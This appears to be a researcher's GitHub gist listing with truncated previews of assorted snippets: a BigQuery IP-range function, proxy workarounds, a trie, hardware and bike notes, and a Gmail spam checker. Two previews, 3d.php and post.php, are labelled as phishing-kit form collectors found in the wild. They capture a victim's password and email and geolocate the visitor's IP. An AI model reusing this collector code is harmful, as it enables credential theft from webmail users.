Skip to content

Instantly share code, notes, and snippets.

@brad-anton
brad-anton / bigquery_rfc1918_udf.sql
Created January 24, 2022 16:06
Simple BigQuery UDF to identify if a IP address is RFC1918.
CREATE TEMP FUNCTION
is_rfc1918(ip INT64 ) AS (
IF
( ( ip BETWEEN NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("192.168.0.0"))
AND NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("192.168.255.255") ) )
OR ( ip BETWEEN NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("10.0.0.0"))
AND NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("10.255.255.255") ) )
OR ( ip BETWEEN NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("172.16.0.0"))
AND NET.IPV4_TO_INT64(NET.SAFE_IP_FROM_STRING("172.31.255.255") ) ),
TRUE,
@brad-anton
brad-anton / kilo_tt_build.md
Last active October 21, 2019 18:55
Surly Steamroller Creamroller to Mercier Kilo TT Build

Mercier Kilo TT Build

About 5 years ago someone hit my bike, resulting in a small crack on the downtube. The crack expanded over time and it finally broke about a month ago. Rather then spending the $500 on a new Surly Steamroller frameset, I decided to save some money by buying a Mercier Kilo TT frameset for ~$225, and reusing parts from the steamroller. It took over a month to build, most delays were due to waiting for parts to arrive.

New Parts List

I spent $372.92 to buy the frame plus the parts/tools I didn't already have and in the end, I think I saved about ~190.

Item Description Vendor Total
@brad-anton
brad-anton / trie.py
Created December 14, 2018 16:04
Trie Class
"""
trie.py
@brad_anton
Go back to college, kid!
"""
class Node(object):
def __init__(self, value, parent=None):
self.value = value
@brad-anton
brad-anton / requests_connect_with_headers_using_pacfile.py
Last active December 10, 2018 21:39
HTTPS Proxy Servers within a PAC File using Python Requests in multiple redirect chains
"""
requests_connect_with_headers_using_pacfile.py
@brad_anton
Certain proxy servers require Full HTTP headers to be included in the
HTTP CONNECT request, however requests seems to split these up into
multiple packets. This work around combines the headers and connect into
a single send().
Documented in:
@brad-anton
brad-anton / requests_connect_with_headers.py
Last active October 24, 2019 00:23
Certain proxy servers require the Full HTTP request to be included in the same packet as the HTTP CONNECT, however requests seems to split these up into multiple packets. This work around combines the headers and connect into a single send(). Documented here: https://github.com/requests/requests/issues/4884
"""
requests_connect_with_headers.py
@brad_anton
Certain proxy servers require the Full HTTP request to be included in
the same packet as the HTTP CONNECT, however requests seems to split
these up into multiple packets. This work around combines the headers
and connect into a single send().
Documented here: https://github.com/requests/requests/issues/4884
@brad-anton
brad-anton / requests_connect_over_https.py
Last active June 3, 2024 16:16
This is a creative way to force python requests' module to issue a Proxy CONNECT over HTTPS. Also allows you to define proxy headers and other goodies
"""
requests_connect_over_https.py
@brad_anton
This is a creative way to force python requests' module to issue a Proxy
CONNECT over HTTPS. Also allows you to define proxy headers and other goodies
Warning: This was only tested partially
"""
@brad-anton
brad-anton / gl300c_no_lights.md
Last active June 29, 2022 21:41
Fix and Troubleshooting for the DJI Phantom 3 Advanced Controller (GL300C)

Symptoms

  • No lights on controller
  • Does not respond to charge
  • No key/button combinations seem to make it work

Battery Problems

The DJI Phantom controllers (Phantom 3, Phantom 3 Advanced, and reportedly some Phantom 4's) seem to have a problem with their batteries where they refuse to charge. If the controller doesnt respond to charge or the power button, it is likely your battery is experiencing this issue. (Scroll down to "Getting the lights to turn on" first before replacing the battery)

Under Warranty

If your Phantom is under warranty (within 1? year of purchase and can provide proof), open a case with support, they'll have you ship the controller back and in about 1-2 months, you'll get it back with a new battery.

@brad-anton
brad-anton / 3d.php
Created November 20, 2017 21:39
a better form collector found to be used in phishing campaigns
<?php
session_start();
$country = visitor_country();
$ip = $_SERVER['REMOTE_ADDR'];
$login = $_SESSION['clientemail'];
$passwd = $_POST['passwd'];
$sender = '[email protected]';
$over = 'https://outlook.live.com/owa/?path=/mail/inbox';
@brad-anton
brad-anton / post.php
Created November 20, 2017 20:01
Server-side phishing collection form
<?php
$ip = getenv("REMOTE_ADDR");
//Get IP Country City
$url = "http://api.ipinfodb.com/v3/ip-country/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$url = "http://api.ipinfodb.com/v3/ip-city/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$ipCountryCityInfo = file_get_contents($url);
//
@brad-anton
brad-anton / spamregurg.py
Created September 21, 2017 16:05
Checks your mailbox for lots of 'Confirm' messages and then pulls info from them
import httplib2
import os
import base64
import email
import re
from apiclient import errors
from apiclient import discovery
from oauth2client import client
from oauth2client import tools